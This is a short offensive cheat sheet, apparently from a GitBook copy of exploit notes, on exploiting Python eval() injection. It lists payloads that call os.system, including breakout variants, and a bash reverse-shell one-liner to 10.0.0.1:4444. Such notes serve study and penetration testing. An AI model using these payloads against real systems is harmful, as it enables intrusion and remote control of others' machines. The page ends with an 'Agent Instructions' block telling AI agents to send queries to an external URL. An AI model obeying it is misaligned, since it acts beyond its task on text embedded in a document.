# Python Eval Code Execution

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/#investigation) <a href="#investigation" id="investigation"></a>

```py
eval(text)
eval(f"5 + {num}")
Copied!
```

If the Python script allows us to input some value to the **"text"** variable, we can inject arbitrary code.

<br>

### [Arbitrary Code Execution](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/#arbitrary-code-execution) <a href="#arbitrary-code-execution" id="arbitrary-code-execution"></a>

Most of the time, we need to bypass another expression to execute our desired command.

```html
__import__('os').system('id')

<!-- Bypass another expression in eval -->
),__import__('os').system('id')
'),__import__('os').system('id')
},__import__('os').system('id')
),__import__('os').system('id')#
Copied!
```

#### [Reverse Shell](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/#reverse-shell) <a href="#reverse-shell" id="reverse-shell"></a>

```html
__import__('os').system('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"')
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/python-eval-code-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
